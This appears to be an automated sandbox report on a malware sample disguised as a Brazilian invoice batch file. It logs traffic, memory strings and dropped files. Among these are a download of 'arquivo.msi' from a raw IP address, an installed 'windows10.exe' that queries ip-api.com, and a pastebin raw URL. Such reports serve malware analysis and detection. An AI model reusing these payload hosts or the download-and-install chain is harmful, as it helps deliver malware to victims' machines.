Source: global traffic	HTTP traffic detected: GET /web/images/loading-small.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WNVUD8XkxGmH5dg&MD=V6c2gDmG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WNVUD8XkxGmH5dg&MD=V6c2gDmG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /arquivo.msi HTTP/1.1Host: 34.68.151.162Connection: Keep-Alive

Source: chromecache_117.5.dr	String found in binary or memory: o","vtp_eventLabel":["macro",3],"vtp_enableRecaptchaOption":false,"vtp_enableUaRlsa":false,"vtp_enableUseInternalVersion":false,"vtp_enableFirebaseCampaignData":true,"vtp_trackTypeIsEvent":true,"vtp_enableGA4Schema":true,"tag_id":12},{"function":"__ua","metadata":["map"],"once_per_event":true,"vtp_nonInteraction":false,"vtp_overrideGaSettings":false,"vtp_eventCategory":"Pagina","vtp_trackType":"TRACK_EVENT","vtp_gaSettings":["macro",2],"vtp_eventAction":"Confirmar","vtp_eventLabel":["macro",3],"vtp_enableRecaptchaOption":false,"vtp_enableUaRlsa":false,"vtp_enableUseInternalVersion":false,"vtp_enableFirebaseCampaignData":true,"vtp_trackTypeIsEvent":true,"vtp_enableGA4Schema":true,"tag_id":16},{"function":"__awct","metadata":["map"],"once_per_event":true,"vtp_enableNewCustomerReporting":false,"vtp_enableConversionLinker":true,"vtp_enableProductReporting":false,"vtp_conversionCookiePrefix":"_gcl","vtp_enableShippingData":false,"vtp_conversionId":"341894994","vtp_conversionLabel":"IKt-CLe5idgCENLOg6MB","vtp_rdp":false,"vtp_url":["macro",4],"vtp_enableProductReportingCheckbox":true,"vtp_enableNewCustomerReportingCheckbox":true,"vtp_enableEnhancedConversionsCheckbox":false,"vtp_enableRdpCheckbox":true,"vtp_enableTransportUrl":false,"vtp_enableCustomParams":false,"tag_id":18},{"function":"__awct","metadata":["map"],"once_per_event":true,"vtp_enableNewCustomerReporting":false,"vtp_enableConversionLinker":true,"vtp_enableProductReporting":false,"vtp_conversionCookiePrefix":"_gcl","vtp_enableShippingData":false,"vtp_conversionId":"341894994","vtp_conversionLabel":"6WUOCLnTidgCENLOg6MB","vtp_rdp":false,"vtp_url":["macro",4],"vtp_enableProductReportingCheckbox":true,"vtp_enableNewCustomerReportingCheckbox":true,"vtp_enableEnhancedConversionsCheckbox":false,"vtp_enableRdpCheckbox":true,"vtp_enableTransportUrl":false,"vtp_enableCustomParams":false,"tag_id":19},{"function":"__awct","metadata":["map"],"once_per_event":true,"vtp_enableNewCustomerReporting":false,"vtp_enableConversionLinker":true,"vtp_enableProductReporting":false,"vtp_conversionCookiePrefix":"_gcl","vtp_enableShippingData":false,"vtp_conversionId":"341894994","vtp_conversionLabel":"7TlxCO2f-4QDENLOg6MB","vtp_rdp":false,"vtp_url":["macro",4],"vtp_enableProductReportingCheckbox":true,"vtp_enableNewCustomerReportingCheckbox":true,"vtp_enableEnhancedConversionsCheckbox":false,"vtp_enableRdpCheckbox":true,"vtp_enableTransportUrl":false,"vtp_enableCustomParams":false,"tag_id":22},{"function":"__cl","tag_id":24},{"function":"__cl","tag_id":25},{"function":"__cl","tag_id":26},{"function":"__cl","tag_id":27},{"function":"__cl","tag_id":28},{"function":"__cl","tag_id":29},{"function":"__cl","tag_id":30},{"function":"__html","vtp_html":"\n\u003Cscript nonce=\"9aOAWUV7\" type=\"text\/gtmscript\"\u003E!function(b,e,f,g,a,c,d){b.fbq\|\|(a=b.fbq=function(){a.callMethod?a.callMethod.apply(a,arguments):a.queue.push(arguments)},b._fbq\|\|(b._fbq=a),a.push=a,a.loaded=!0,a.version=\"2.0\",a.queue=[],c=e.createElement(f)
Source: chromecache_117.5.dr, chromecache_167.5.dr	String found in binary or memory: return b}BC.K="internal.enableAutoEventOnTimer";var gc=ka(["data-gtm-yt-inspected-"]),DC=["www.youtube.com","www.youtube-nocookie.com"],EC,FC=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.quadrix.org.br
Source: global traffic	DNS traffic detected: DNS query: vlibras.gov.br
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: www.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: v.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: c.clarity.ms

Source: timeout.exe, 0000000E.00000002.1810538881.000001DB9D418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.68.151.16
Source: timeout.exe, 0000000E.00000002.1810598366.000001DB9EDD0000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000E.00000002.1810538881.000001DB9D418000.00000004.00000020.00020000.00000000.sdmp, z1Pedido-Faturado-NF-938731.cmd	String found in binary or memory: http://34.68.151.162/arquivo.msi
Source: timeout.exe, 0000000E.00000002.1810598366.000001DB9EDD4000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000E.00000002.1810538881.000001DB9D410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.68.151.162/arquivo.msiUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userU
Source: windows10.exe.7.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: windows10.exe.7.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: windows10.exe.7.dr	String found in binary or memory: http://crl.globalsign.net/Timestamping1.crl0
Source: windows10.exe.7.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0N
Source: windows10.exe.7.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: svchost.exe, 00000004.00000002.2871222928.000001B242600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000004.00000003.1642092375.000001B242828000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000004.00000003.1642092375.000001B242828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000004.00000002.2871944474.000001B242662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adbcogon4m3z5s35yye5i7kvspra_2024.5.1.0/g
Source: svchost.exe, 00000004.00000003.1642092375.000001B242828000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000004.00000003.1642092375.000001B242828000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000004.00000003.1642092375.000001B24285D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000004.00000002.2871944474.000001B242683000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: qmgr.db.4.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: windows10.exe, 00000017.00000003.2175333607.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/
Source: chromecache_174.5.dr	String found in binary or memory: http://isencao.quadrix.org.br/)
Source: windows10.exe.7.dr	String found in binary or memory: http://secure.globalsign.net/cacert/ObjectSign.crt09
Source: windows10.exe.7.dr	String found in binary or memory: http://secure.globalsign.net/cacert/PrimObject.crt0
Source: windows10.exe, 0000000D.00000000.1752877795.0000000000497000.00000002.00000001.01000000.00000008.sdmp, windows10.exe.7.dr	String found in binary or memory: http://www.audio-tool.net
Source: windows10.exe.7.dr	String found in binary or memory: http://www.globalsign.net/repository/0
Source: windows10.exe.7.dr	String found in binary or memory: http://www.globalsign.net/repository/03
Source: windows10.exe.7.dr	String found in binary or memory: http://www.globalsign.net/repository09
Source: windows10.exe, 00000017.00000003.2175333607.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.3065560354.0000000004B5E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: chromecache_174.5.dr	String found in binary or memory: http://www.quadrix.org.br/)
Source: chromecache_117.5.dr, chromecache_167.5.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_117.5.dr, chromecache_167.5.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_117.5.dr, chromecache_167.5.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_174.5.dr	String found in binary or memory: https://concursos.quadrix.org.br/)
Source: svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000004.00000003.1642092375.000001B24292A000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000004.00000003.1642092375.000001B2428B3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1642092375.000001B242917000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1642092375.000001B242904000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: chromecache_167.5.dr	String found in binary or memory: https://google.com
Source: chromecache_167.5.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000004.00000003.1642092375.000001B242882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: chromecache_167.5.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_117.5.dr, chromecache_167.5.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/tBXs1wCj
Source: chromecache_117.5.dr, chromecache_167.5.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_117.5.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_167.5.dr	String found in binary or memory: https://www.google.com
Source: chromecache_129.5.dr	String found in binary or memory: https://www.google.com/pagead/1p-user-list/341894994/?random
Source: chromecache_167.5.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_167.5.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_117.5.dr, chromecache_167.5.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: timeout.exe, 0000000E.00000002.1810538881.000001DB9D418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.quadrix.org.br
Source: timeout.exe, 0000000E.00000002.1810538881.000001DB9D418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico
Source: timeout.exe, 0000000E.00000002.1810598366.000001DB9EDD4000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000E.00000002.1810538881.000001DB9D410000.00000004.00000020.00020000.00000000.sdmp, z1Pedido-Faturado-NF-938731.cmd	String found in binary or memory: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/3072

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:49840 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\46750c.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7AC9.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B56.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7C03.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7C43.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7CC1.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7EF4.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F24.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F35.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI7AC9.tmp

Jump to behavior

Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B06078	9_2_00B06078
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00ADD060	9_2_00ADD060
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B0B336	9_2_00B0B336
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B14609	9_2_00B14609
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AF9730	9_2_00AF9730
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AFF700	9_2_00AFF700
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B038A0	9_2_00B038A0
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B018EF	9_2_00B018EF
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B0E919	9_2_00B0E919
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AFFA8E	9_2_00AFFA8E
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B0DB30	9_2_00B0DB30
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AE0E90	9_2_00AE0E90
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0080D060	10_2_0080D060
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_00836078	10_2_00836078
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0083B336	10_2_0083B336
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_00844609	10_2_00844609
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0082F700	10_2_0082F700
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_00829730	10_2_00829730
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_008338A0	10_2_008338A0
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_008318EF	10_2_008318EF
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0083E919	10_2_0083E919
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0082FA8E	10_2_0082FA8E
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0083DB30	10_2_0083DB30
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_00810E90	10_2_00810E90
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009FCA2C	13_2_009FCA2C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009FCB70	13_2_009FCB70
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_0097FD40	13_2_0097FD40
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_0094B5B8	13_2_0094B5B8
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00BF6710	13_2_00BF6710
